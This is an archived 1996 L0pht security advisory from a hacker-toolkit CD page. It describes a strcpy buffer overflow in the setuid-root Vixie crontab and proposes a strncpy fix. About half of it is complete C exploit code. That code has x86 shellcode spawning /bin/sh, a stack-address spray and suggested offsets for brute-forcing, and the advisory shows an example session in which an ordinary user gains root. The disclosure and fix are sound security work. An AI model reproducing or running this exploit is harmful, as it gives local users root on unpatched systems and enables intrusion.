home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / crontab.txt < prev    next >
Text File  |  1999-11-04  |  5KB  |  148 lines

  1.             
  2.             L0pht Security Advisory
  3.                       Advisory released Dec 17 1996
  4.                    Application: crontab (Vixie crontab)
  5.                       Severity: any local user can 
  6.                           gain root priveledges.
  7.                          Author: mudge@l0pht.com
  8.  
  9. Scenario:
  10.  
  11. Due to a problem with the code in crontab, a buffer overflow exists that
  12. allows a user to overwrite the information in a saved stack frame. When
  13. the function returns, the saved frame is popped off of the stack and
  14. user supplied code can be executed.
  15.  
  16. Example:
  17.  
  18. > id
  19. uid=621 (mudge) gid=200(users)
  20. > ./cronny -92
  21. Using offset (0xefbfdbc8)
  22. # id
  23. uid=621 (mudge) euid=0(root) gid=200(users)
  24.  
  25. Description:
  26.  
  27. When crontab, a suid root program, is run with just a filename as it's
  28. only argument the argument is copied into the variable
  29. Filename[MAX_FNAME].
  30. Since this copy is done via strcpy, no bounds checking is done on the
  31. length of the string being handed in. The code snippit from crontab.c
  32. is as follows:
  33.  
  34.  
  35.   static char      Filename[MAX_FNAME];
  36.   ...
  37.  
  38.   [ from parse_args(argc, argc) ]
  39.   if (argv[optind] != NULL) {
  40.     Option = opt_replace;
  41.     (void) strcpy (Filename, argv[optind]);
  42.   } 
  43.  
  44. By placing a sufficently sized string in argv[1] it is possible to
  45. overwrite
  46. the saved frame on the stack and, upon return from the routine execute
  47. machine codes of the users contruction.
  48.  
  49. Solution:
  50.  
  51. One fix to the above problem is to replace the strcpy() with strncpy().
  52.  
  53.   if (argv[optind] != NULL) {
  54.     Option = opt_replace;
  55.     (void) strncpy(Filename, argv[optind], sizeof(Filename));
  56.   }
  57.  
  58. However, this only takes care of _one_ of the exploitable buffer overflows
  59. in crontab. Finding and fixing the others is left as an excercise to the
  60. readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!]
  61.  
  62. Gratuitous plug:
  63.  
  64. OpenBSD has already fixed these problems in crontab around the date of
  65. the exploit code below, if not a ways before. Talk about an OS with
  66. pro-active security coders!
  67.  
  68. Exploit code:
  69.  
  70. /********************************************************************
  71.  * crontab buffer overflow code - mudge@l0pht.com                   *
  72.  * 10/12/96                                                         *
  73.  *                                                                  *
  74.  * So I was sitting here thinking... I know, it's a dangerous thing *
  75.  * and you ever notice that hackers seem to have a surplus of time  *
  76.  * on their hands? Well, I don't but hopefully if I keep coming out *
  77.  * with things like this it will help to perpetuate the myth.       *
  78.  *                                                                  *
  79.  * There is a really cool buffer overflow in crond that bitwrior    *
  80.  * spotted. So I figured that since the same person, Paul Vixie,    *
  81.  * wrote crontab too that the same type of errors would probably be *
  82.  * there. Sure enough!                                              *
  83.  *                                                                  *
  84.  * Ya gotta love command line overflows... just yank the code from  *
  85.  * any existing one and brute on the new program. This is almost    *
  86.  * verbatim from my modstat overflow.                               *
  87.  *                                                                  *
  88.  * try with offsets of -92, -348, 164, 296, 351 with the way this   *
  89.  * is currently setup. If these fail, brute force it <grin>.        *
  90.  *******************************************************************/
  91.  
  92. #include <stdio.h>
  93. #include <stdlib.h>
  94.  
  95. long get_esp(void)
  96. {
  97.    __asm__("movl %esp, %eax\n");
  98. }
  99.  
  100. main(int argc, char **argv)
  101. {
  102.    int i, j, offset;
  103.    char *bar, *foo;
  104.    unsigned long *esp_plus = NULL;
  105.  
  106.   
  107.    char mach_codes[] =
  108.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  109.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  110.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  111.    "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
  112.  
  113.    
  114.    if (argc == 2)
  115.      offset = atoi(argv[1]);
  116.  
  117.    bar = malloc(4096);
  118.    if (!bar){
  119.      fprintf(stderr, "failed to malloc memory\n");
  120.      exit(1);
  121.    }
  122.  
  123.    foo = bar;  /* copy of original ptr */
  124.  
  125.    esp_plus = (long *)bar;
  126.    for(i=0; i < 1024 ; i++)
  127.      *(esp_plus++) = (get_esp() + offset);
  128.  
  129.    printf("Using offset (0x%x)\n", (get_esp() + offset)); 
  130.  
  131.    bar = (char *)esp_plus;
  132.  
  133.    for(j=0; j< strlen(mach_codes); j++)
  134.      *(bar++) = mach_codes[j];
  135.  
  136.    *bar = 0; 
  137.  
  138.    execl("/usr/bin/crontab", "crontab", foo, NULL);  
  139. }
  140.  
  141. mudge@l0pht.com
  142. ---
  143. http://www.l0pht.com/advisories.html
  144. ---
  145.  
  146.  
  147.  
  148.